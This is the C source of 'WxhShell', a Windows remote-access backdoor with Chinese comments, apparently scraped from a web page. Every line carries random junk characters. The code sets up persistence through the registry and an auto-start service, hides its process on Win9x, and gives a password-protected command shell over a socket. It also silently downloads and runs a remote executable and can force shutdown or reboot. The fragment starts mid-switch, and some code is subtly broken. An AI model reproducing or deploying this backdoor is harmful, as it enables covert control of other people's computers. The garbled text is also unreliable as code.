  case 'd': { Jk}L+X vv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P qagep d  
    if(Boot(SHUTDOWN)) 69dFd!G\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [{}9"zB$x0  
    else { E,c~.jYc  
    closesocket(wsh); f8#WT$Ewy  
    ExitThread(0); 6!n"E@Bwu  
    } SR*%-JbA  
    break; 7. G   
    } Ua5m2&U1  
  // 获取shell T!"<Kv]J  
  case 's': { >m:.5][yu  
    CmdShell(wsh); xp)#a_}  
    closesocket(wsh); 8!VjXj"  
    ExitThread(0); r[TS#hQ  
    break; /I7sa* i  
  } T9t9])  
  // 退出 q[M7)-  
  case 'x': { @7u4v%,wB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jtd@8fVi  
    CloseIt(wsh); jm.pb/  
    break; .x(&-  
    } C: kl/9M@  
  // 离开 ` eND3c  
  case 'q': { 6lT1X)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l YH={jJ  
    closesocket(wsh); ]1)@.b;QR  
    WSACleanup(); hO;bnt%(  
    exit(1); >:W)9o  
    break; J}._v\Q7P  
        } @tEVgyN  
  } E;VBoN [  
  } vEtogkFA"  
qt^%jIv  
  // 提示信息 $C9<{zX   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Co[[6pt~  
} R:E6E@T  
  } <j:3<''o  
~-']Q0Z  
  return; iV'-j,-i  
} v0"|J3  
I;P?P5H  
// shell模块句柄 z9w@-])  
int CmdShell(SOCKET sock) M\\TQ(B  
{ 2Mu-c:1  
STARTUPINFO si; k5!k3yI  
ZeroMemory(&si,sizeof(si)); iN`/pW/JE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EOtrrfT&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pk8L- [&v  
PROCESS_INFORMATION ProcessInfo; 2*K0~ b`  
char cmdline[]="cmd"; @]3(l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nXi6Q+YI  
  return 0; }K<;ygcWE@  
} AU87cqq  
GVn9=[r  
// 自身启动模式 5CU< ?  
int StartFromService(void) 1Y}gki^F  
{ "Y(S G  
typedef struct R^1= :<)C  
{ OiM{@  
  DWORD ExitStatus; &=$8 v"&^  
  DWORD PebBaseAddress; qhK;#<#  
  DWORD AffinityMask; ^z[s;:-  
  DWORD BasePriority; \RQ5$!O  
  ULONG UniqueProcessId; .8b 4  
  ULONG InheritedFromUniqueProcessId; Cf`UMQ a  
}   PROCESS_BASIC_INFORMATION; \M>AN Z}  
Q.z2 (&  
PROCNTQSIP NtQueryInformationProcess; YLSG 5vF+  
B{)Du :)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vg:P@6s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aj(M{gFq~  
)&_{m K  
  HANDLE             hProcess; Y] P}7GZ  
  PROCESS_BASIC_INFORMATION pbi; -\UzL:9>  
AQQj]7Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &cpRB&bf  
  if(NULL == hInst ) return 0; N..9N$+(  
~RvU+D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e% 5!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l' "<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nz!AR$  
f{3FoN= z  
  if (!NtQueryInformationProcess) return 0; ,x{5,K.yWq  
h(G&X9*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \GMudN  
  if(!hProcess) return 0; /23v]HEPy  
dcHkb,HsO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >$R-:>~zN  
jDXmre?  
  CloseHandle(hProcess); _ORW'(:Z  
tmb0zuJ&C!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); da I-*  
if(hProcess==NULL) return 0; t:M>&r:BL  
~gBqkZ# y?  
HMODULE hMod; wV5<sH__  
char procName[255]; oK(ua  
unsigned long cbNeeded; <7 PtC,74  
A)`M*(~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ][?GJ"O+U  
Z<&: W8n  
  CloseHandle(hProcess); TzK?bbgr!  
2B!nLL Cp+  
if(strstr(procName,"services")) return 1; // 以服务启动 >`oO(d}n[0  
w~Y#[GW  
  return 0; // 注册表启动 ^' [|  
} 8i:b~y0  
6PPvf D^  
// 主模块 \ g0  
int StartWxhshell(LPSTR lpCmdLine) A@DIq/^xM  
{ Qz$.t>@V=  
  SOCKET wsl; UI8M<  
BOOL val=TRUE; uk\GAm@O  
  int port=0; b%)a5H(  
  struct sockaddr_in door; C y& L,  
{ld([  
  if(wscfg.ws_autoins) Install(); .S5&MNE  
ko, u  
port=atoi(lpCmdLine); v WhtClJ3  
{?m',sG;&  
if(port<=0) port=wscfg.ws_port; mS%D" e  
")sq?1?X  
  WSADATA data; ^ )+tn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; / 5=A#G  
IF1?/D"<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .5I1wRN49  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a\%g_Q){  
  door.sin_family = AF_INET; 0e}L Z,9e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xt7uCs  
  door.sin_port = htons(port); D!@c,H  
?ii a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tGf  
closesocket(wsl); :^ cA\2=  
return 1; %*s[s0$c  
} "arbUX~d  
gqC:r,a  
  if(listen(wsl,2) == INVALID_SOCKET) { `q5*VqIhs  
closesocket(wsl); HX=`kkX  
return 1; *sw$OnVb  
} >G-D& A+  
  Wxhshell(wsl); h,#AY[Q  
  WSACleanup(); Fh?q;oEj  
;XTP^W!6f  
return 0; Ybok[5  
6~2!ZU  
} ml3]CcKn  
H7\EvIM=  
// 以NT服务方式启动 ;ga~ae=Fg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RWoa'lnu  
{ C"F(kgL  
DWORD   status = 0; 8<g5.$xyz  
  DWORD   specificError = 0xfffffff; 2smLv1w@  
: 0%V:B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U,+=>ns>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CF$^we  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y\@XW*_?  
  serviceStatus.dwWin32ExitCode     = 0; '7E?|B0],  
  serviceStatus.dwServiceSpecificExitCode = 0; Y]Xal   
  serviceStatus.dwCheckPoint       = 0; )9PQ j  
  serviceStatus.dwWaitHint       = 0; VvPTL8Z  
\.*aC)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 43(+3$VM7  
  if (hServiceStatusHandle==0) return; *.i` hfRc  
C"YM"9JSJ  
status = GetLastError(); .IG(Y!cB  
  if (status!=NO_ERROR) mk0rAN  
{ e <IT2tv>u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jt;,7Ek  
    serviceStatus.dwCheckPoint       = 0; gMgbqGF)  
    serviceStatus.dwWaitHint       = 0; yCm iW %L4  
    serviceStatus.dwWin32ExitCode     = status; X#p E!mT  
    serviceStatus.dwServiceSpecificExitCode = specificError; C$?dkmIt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /gPn2e;  
    return; 3 D+dM0wM  
  } >S!QvyM(V  
\a}%/_M\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ffSecoX  
  serviceStatus.dwCheckPoint       = 0; Rr:,'cXGi  
  serviceStatus.dwWaitHint       = 0; 3 UBG?%!$f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); & }}o9  
} ,H.q%!{h_  
q5QYp  
// 处理NT服务事件,比如:启动、停止 P+o ZS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {E!$<A9  
{ z?+N3p9  
switch(fdwControl) A!hkofQ  
{  DMf:u`<  
case SERVICE_CONTROL_STOP: :GO}G`jY  
  serviceStatus.dwWin32ExitCode = 0; ^OYar(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \f%jN1z  
  serviceStatus.dwCheckPoint   = 0; ~I!7]i]"*?  
  serviceStatus.dwWaitHint     = 0; nKV1F0-  
  { vu1F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U*,5t81  
  } $%sOL( r  
  return; 4GaF:/  
case SERVICE_CONTROL_PAUSE: p+A#t~K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $7lI Dt  
  break; Nno*X9>~  
case SERVICE_CONTROL_CONTINUE: )Ibp%'H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EAx@a%  
  break; rbs:qLa%  
case SERVICE_CONTROL_INTERROGATE: A<AZs~f  
  break; ,AWN *OS  
}; friNo^v&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \J:/l|h  
} y<.1+TG  
n Hy|  
// 标准应用程序主函数 {3!v<CY'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `|Tr"xavf  
{ k%Jw S_F  
q]<cn2  
// 获取操作系统版本 gNN{WFHQX:  
OsIsNt=GetOsVer(); @e+QGd;}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p)Z$q2L  
g)2}`}  
  // 从命令行安装 =3l%ZL/  
  if(strpbrk(lpCmdLine,"iI")) Install(); "M1[@xog  
}<A\>  
  // 下载执行文件 91e&-acA  
if(wscfg.ws_downexe) { F}.<x5I-;h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $^d,>hJi  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xb3z<r   
} fY$M**/,  
}"%tlU!}  
if(!OsIsNt) { i,Yv  
// 如果时win9x,隐藏进程并且设置为注册表启动 quVTqhg"  
HideProc(); vt@.fT#e  
StartWxhshell(lpCmdLine); : xB<Rq  
} /J8y[aa  
else (wnkdI{  
  if(StartFromService()) ErHbc 2  
  // 以服务方式启动 ;ukwKf s  
  StartServiceCtrlDispatcher(DispatchTable); 9:IVSD&"Rf  
else 6:#zlKYJ  
  // 普通方式启动 8"Hy'JA$O  
  StartWxhshell(lpCmdLine); {Jwh .bJ  
( {5LB4  
return 0; 9 }jF]P*Q  
} >2,x#RQs  
+|KnO  
Ztr,v$  
=gw 'MA  
=========================================== E9YR *P4$  
"i(k8+i K  
IXe[JL:  
5iwJdm  
L "P$LEk  
g%Sl+gWdJ  
" V*2uW2\}  
D:/^TEib  
#include <stdio.h> VkZrb2]v  
#include <string.h> >/Gz*.  
#include <windows.h> 8lg $]  
#include <winsock2.h> Zchs/C 9{  
#include <winsvc.h> 2X!O '  
#include <urlmon.h> {'NdN+_C  
B#N(PvtE  
#pragma comment (lib, "Ws2_32.lib") bb`GV  
#pragma comment (lib, "urlmon.lib") {.K >9#^m  
'C)`j{CS  
#define MAX_USER   100 // 最大客户端连接数 Om,+59ua*  
#define BUF_SOCK   200 // sock buffer !MOVv\@O  
#define KEY_BUFF   255 // 输入 buffer 540-lMe  
d dkh*[  
#define REBOOT     0   // 重启 67wY_\m9I  
#define SHUTDOWN   1   // 关机 ?<STt 9  
4#1[i|:M  
#define DEF_PORT   5000 // 监听端口 MuQyHEDF  
!X[b 4p  
#define REG_LEN     16   // 注册表键长度 6*J`2U9Q  
#define SVC_LEN     80   // NT服务名长度 3pl/k T.\  
!ZJ" lm  
// 从dll定义API B\G?dmo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }_vE lBh6$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <,$(,RX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vd6Y'Zk|F6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0GK<l  
<Wn={1Ts"  
// wxhshell配置信息 =* oFs|v  
struct WSCFG { zxTcjC)y  
  int ws_port;         // 监听端口  yl0&|Ub  
  char ws_passstr[REG_LEN]; // 口令 s`B]+  
  int ws_autoins;       // 安装标记, 1=yes 0=no !`LaX!bmp  
  char ws_regname[REG_LEN]; // 注册表键名 ouL/tt_~  
  char ws_svcname[REG_LEN]; // 服务名 L}T:Y).  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^mz&L|h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R@ N I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a{v1[i\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^I*</w8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /g BB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d!mtSOh  
ms@*JCL!t  
}; [p^N].K$  
X`JWYb4  
// default Wxhshell configuration "7mY s)=  
struct WSCFG wscfg={DEF_PORT, UE3(L ^  
    "xuhuanlingzhe", #  -e  
    1, WvQK$}Ax4N  
    "Wxhshell", rJ|Q%utYz  
    "Wxhshell", DN3#W w2[r  
            "WxhShell Service", BQu_)@  
    "Wrsky Windows CmdShell Service", <5X?6*Qvr  
    "Please Input Your Password: ", r~&"D#)sy  
  1, #; CC"  
  "http://www.wrsky.com/wxhshell.exe", ;jS2bc:8a  
  "Wxhshell.exe" FR&4i" +  
    }; YNyaz\L  
Y_tLSOD#/  
// 消息定义模块 veIR)i@dx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %xF j;U?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (&HAjB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pLjet~2}iJ  
char *msg_ws_ext="\n\rExit."; ~47Bbom  
char *msg_ws_end="\n\rQuit."; v10p]=HmO  
char *msg_ws_boot="\n\rReboot..."; _H@Y%"ZHJ6  
char *msg_ws_poff="\n\rShutdown..."; m7}PJ^*b  
char *msg_ws_down="\n\rSave to "; <Z GEmQ  
|:BKexjHL  
char *msg_ws_err="\n\rErr!"; ARvT  
char *msg_ws_ok="\n\rOK!"; $fES06%  
d$Y3 a^O|  
char ExeFile[MAX_PATH]; ky>0  
int nUser = 0; VOr*YB&  
HANDLE handles[MAX_USER]; K =T]@ix$  
int OsIsNt; d*Q:[RUf,  
itClCEOA  
SERVICE_STATUS       serviceStatus; ~'>RK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0goKiPx  
RP 'VEJ   
// 函数声明 mC OJ1}  
int Install(void); hiO:VA  
int Uninstall(void); A`_(L|~  
int DownloadFile(char *sURL, SOCKET wsh); kzU;24"K  
int Boot(int flag); U'(}emh}  
void HideProc(void); /)fx(u#  
int GetOsVer(void); Rj6:.KEJ  
int Wxhshell(SOCKET wsl); GPlAQk  
void TalkWithClient(void *cs); pie<jZt  
int CmdShell(SOCKET sock); OjO$.ecT  
int StartFromService(void); jyQ Bx  
int StartWxhshell(LPSTR lpCmdLine); ;Yo9e~  
/^ *GoB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3 d $  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _%^t[4)q  
\)Jv4U\;  
// 数据结构和表定义 &* GwA  
SERVICE_TABLE_ENTRY DispatchTable[] = {];4  
{ oz $T.  
{wscfg.ws_svcname, NTServiceMain}, juOOD   
{NULL, NULL} *%< Ku&C  
}; YF/@]6j  
{T|sU\|Q  
// 自我安装 ZfalB  
int Install(void) U U!M/QJ  
{ vQf'lEFk  
  char svExeFile[MAX_PATH]; v\7k  
  HKEY key; s 33< }O0  
  strcpy(svExeFile,ExeFile); ]yu,YZ@7  
L$zI_ z  
// 如果是win9x系统,修改注册表设为自启动 !#cZ!  
if(!OsIsNt) { 8was/^9;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5"(AqXoq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t95hI DtD  
  RegCloseKey(key); SjgF&LD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *4}l V8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S~^0 _?  
  RegCloseKey(key); k#"Pv"  
  return 0; Ij; =  
    } V"":_`1VW  
  } h $)t hW  
} LX A1rgUWT  
else { DF D5">g@  
fq-$u;~h  
// 如果是NT以上系统,安装为系统服务 63:0Vt>hZ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  /;LteBoY  
if (schSCManager!=0) k 1;,eB  
{ [?TQ!l}8A  
  SC_HANDLE schService = CreateService .gUceXWH3  
  ( z{T2! w~[  
  schSCManager, ?3 J  
  wscfg.ws_svcname, A6w/X`([O  
  wscfg.ws_svcdisp, Y68`B"3  
  SERVICE_ALL_ACCESS, 9HMW!DSK`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mY"DYYR>  
  SERVICE_AUTO_START, lSP{9L6  
  SERVICE_ERROR_NORMAL, d5<@WI:wz  
  svExeFile, *UVjN_na5  
  NULL, YbZ<=ZzO4  
  NULL, T=7V+  
  NULL, 8>q:Q<BB2  
  NULL, ]PdpC"  
  NULL Ycb<'M*jE  
  ); TSu^.K  
  if (schService!=0) $$YLAgO4  
  { 4/D ~H+k  
  CloseServiceHandle(schService); G3QB Rh{  
  CloseServiceHandle(schSCManager); Q"c!%`\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -eAo3  
  strcat(svExeFile,wscfg.ws_svcname); g;en_~g3j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K]dqK'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PZ69aZ*Gs  
  RegCloseKey(key); t!^FWr&  
  return 0; 3}O.B r|  
    } g3{)AX[Uy  
  } ;aYPv8s~,:  
  CloseServiceHandle(schSCManager); Wo5G23:xz  
} o:C:obiQbu  
} cn ,zUG!-h  
Z5~dU{XsT  
return 1; r$ue1bH}|  
} SxXh N  
X70vDoW  
// 自我卸载 ~h-G  
int Uninstall(void) =0xuH>WY}w  
{ Avw"[~Xd  
  HKEY key; &rj6<b1A  
&B3Eq 1A  
if(!OsIsNt) { {y0*cC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UNocm0!N'  
  RegDeleteValue(key,wscfg.ws_regname); 0 O4'Ts ?  
  RegCloseKey(key); 9m 56oT'U{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "hz(A.THi  
  RegDeleteValue(key,wscfg.ws_regname); s<0yQ-=.?N  
  RegCloseKey(key); Vja' :i  
  return 0; FVLXq0<Cj  
  } L]0+ u\(  
} IDBhhv3ak  
} +AyQ4Q(-o  
else { xMg&>}5  
MnFem $ @  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b0LjNO@<  
if (schSCManager!=0) OB3AZH$  
{ ><OdHRh@#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z2t;!]"'l  
  if (schService!=0) "Gcr1$xG8!  
  { h./cs'&  
  if(DeleteService(schService)!=0) { ?zUV3Qgzj  
  CloseServiceHandle(schService); E=gD{1,?  
  CloseServiceHandle(schSCManager); Fy-nV% P  
  return 0; Sw#Ez-X  
  } x@.iDP@(  
  CloseServiceHandle(schService); qM@][]j:  
  } [$3Zid  
  CloseServiceHandle(schSCManager); IC[SJVH;  
} !_<.6ja  
} `{I,!to  
3@$h/xMJ  
return 1; l>"gO9j  
} G%ycAm  
Ndi'b_Sh\  
// 从指定url下载文件 KtY~Y  
int DownloadFile(char *sURL, SOCKET wsh) _wM[U`H}s  
{ P,h@F+OZN  
  HRESULT hr; _ %&"4bm.  
char seps[]= "/"; )ACa0V>*p  
char *token; |NtT-T)7  
char *file; {114 [  
char myURL[MAX_PATH]; z1!ya#,$  
char myFILE[MAX_PATH]; m|~,#d@  
f]$ g9H  
strcpy(myURL,sURL); %H<w.]>  
  token=strtok(myURL,seps); fFXs:(  
  while(token!=NULL) ~2@U85"o  
  { K *vNv 4  
    file=token; /Re1QS  
  token=strtok(NULL,seps); UkNC|#l)  
  } H#U{i  
i40r}?-  
GetCurrentDirectory(MAX_PATH,myFILE); &:]_a?|*S  
strcat(myFILE, "\\"); o)}b Fw  
strcat(myFILE, file); 4)2*|w  
  send(wsh,myFILE,strlen(myFILE),0); Ms1\J2  
send(wsh,"...",3,0); * V W \  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ygpC1nN  
  if(hr==S_OK) d;lp^K M  
return 0; MBcOIy[&A  
else XP2=x_"y  
return 1; a-!"m  
1I3u~J3]/  
} l0D.7>aj  
a0)+=*$  
// 系统电源模块 1b3Lan_2  
int Boot(int flag) +Q-~~v7,  
{ (~Zg\(5#  
  HANDLE hToken; EUuMSDp  
  TOKEN_PRIVILEGES tkp; '4Z%{.;  
^0{S!fs  
  if(OsIsNt) { m_rRe\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .e.vh:Sz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~ezCE4^&  
    tkp.PrivilegeCount = 1; -<z'f){gb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Rz=]KeZu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |w~zh6~  
if(flag==REBOOT) { rLL;NTN+/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]v_xEH}T  
  return 0; MW*}+ PCY  
} iXl1S[.l  
else { DA@ { d-A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [&3"kb  
  return 0; NlcWnSv  
} ,7%(Jj$ ^  
  } ;o^m"I\y  
  else { G#@<bg3  
if(flag==REBOOT) { ;k/0N~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P\zi:]h[Gh  
  return 0; n+uq|sYVa  
} )1x333.[c  
else { 0l 3RwWj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ) ]~HjA;  
  return 0; ;prp6(c  
} `}Q;2 F  
} 5,Q('t#J  
8#Z$}?W  
return 1; RuRJjcnY  
} e:7aVOm  
N,[M8n,  
// win9x进程隐藏模块 ?J6hiQvL  
void HideProc(void) qA30z%#z_  
{ sL/Lw WH  
yp*kMC,3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?,%N?  
  if ( hKernel != NULL ) HYg _{  
  { _R-#I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HKxrBQr78  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UVI=&y]c,p  
    FreeLibrary(hKernel); n,HWVo>([  
  } ~{NDtB)  
UT{N ly8u  
return; pwZ &2&|  
} `HJwwKd  
A1'IK.  
// 获取操作系统版本 @ics  
int GetOsVer(void) I" j7  
{ A,=l9hE'  
  OSVERSIONINFO winfo; wK\SeX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3QR-8  
  GetVersionEx(&winfo); 3K0J6/mc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fV5#k@,")  
  return 1; 15s?QSKj  
  else 1gm{.*G  
  return 0; V&}Z# 9Dx  
} f Fz8m  
jcG4h/A  
// 客户端句柄模块 XqwdJND  
int Wxhshell(SOCKET wsl) n&V(c&C  
{ x)Th2es\  
  SOCKET wsh; @%fkW"y:  
  struct sockaddr_in client; <'vM+Lk  
  DWORD myID; \Fe5<G'v  
zO\"$8q*  
  while(nUser<MAX_USER) X0P$r6 ;  
{ PCIC*!{  
  int nSize=sizeof(client); LnyA5T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m76]INq  
  if(wsh==INVALID_SOCKET) return 1; g,W#3b6>j  
:- 5Mn3*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d8r+UP@#  
if(handles[nUser]==0) \Q)~'P3  
  closesocket(wsh); /kWWwy<  
else < 1r.p<s  
  nUser++; LaIif_fie^  
  } ){(cRB$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ud9\;Qse  
]E3g8?L  
  return 0; ;kFp)*i  
} 23fAc"@ B  
9"aTF,'F/  
// 关闭 socket v m$v[  
void CloseIt(SOCKET wsh) zld>o3K}  
{ gI%n(eY  
closesocket(wsh); |JDJ{;o  
nUser--; nbRg<@  
ExitThread(0); UM]wDFn'E  
} a3)#tt=rA  
j>:T)zhyY  
// 客户端请求句柄 @]7\.>)  
void TalkWithClient(void *cs) GkO6r'MVE  
{ L7b{H2 2  
@Uu\x~3y  
  SOCKET wsh=(SOCKET)cs; x~z 2l#ow  
  char pwd[SVC_LEN]; -|T^  
  char cmd[KEY_BUFF]; Af%?WZlOq  
char chr[1]; FP Mk&  
int i,j; ;K_B,@:'  
ditzl(L   
  while (nUser < MAX_USER) { x?F{=\z/o  
p?h;Sv/  
if(wscfg.ws_passstr) { INT2i8oU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zJy{Ry[Sb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %)e+w+  
  //ZeroMemory(pwd,KEY_BUFF); *~"`&rM(  
      i=0; &ar}6eO  
  while(i<SVC_LEN) { .`p_vS9  
oF^BJ8%Lm  
  // 设置超时 ]aR4U`  
  fd_set FdRead; Ij8tBT?jlL  
  struct timeval TimeOut; e{O5y8,  
  FD_ZERO(&FdRead); :Ry 24X  
  FD_SET(wsh,&FdRead); %qHT!aP  
  TimeOut.tv_sec=8; .G]# _U  
  TimeOut.tv_usec=0; gdT_kb5HL8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vP2QAGk <  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R}VL UL$  
I6fpXPP).  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -a[{cu{  
  pwd=chr[0]; >tzXbmFp;  
  if(chr[0]==0xd || chr[0]==0xa) { _7;^od=C  
  pwd=0; #+G2ZJxL|  
  break; P:TpB6.=q  
  } qw/{o:ce]  
  i++; 1L|(:m+  
    } Ed-gYL^<  
2I<T<hFW]  
  // 如果是非法用户,关闭 socket mI0r,Z*+M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MD)"r>k  
} D^{:UbN  
Z^l!y5s/H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ChGM7uu2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gK(4<PO'  
!O-+ h0Z  
while(1) { @FV;5M:I  
.g~@e_;):  
  ZeroMemory(cmd,KEY_BUFF); a\w | tf  
\2,18E  
      // 自动支持客户端 telnet标准   (AYS>8O&  
  j=0; 1sjn_fPz  
  while(j<KEY_BUFF) { U!5*V9T~ J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (n/1 :'  
  cmd[j]=chr[0]; }}_uN-m  
  if(chr[0]==0xa || chr[0]==0xd) { *PEuaRDN  
  cmd[j]=0; pYG,5+g  
  break; * 2%e.d3"M  
  } Uz|]}t5V  
  j++; \7/_+)0}'  
    } G= cxc_9  
{ 1%ZyY  
  // 下载文件 >B  
  if(strstr(cmd,"http://")) { d@tr]v5 B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `[CJtd2\  
  if(DownloadFile(cmd,wsh)) <3 }l8Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AF$o >f  
  else ^Q>*f/.KN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z L</  
  } `1@[uWl  
  else { W<VHv"?V  
BT3O_X`u  
    switch(cmd[0]) { @E2nF|N  
  ntV >m*^  
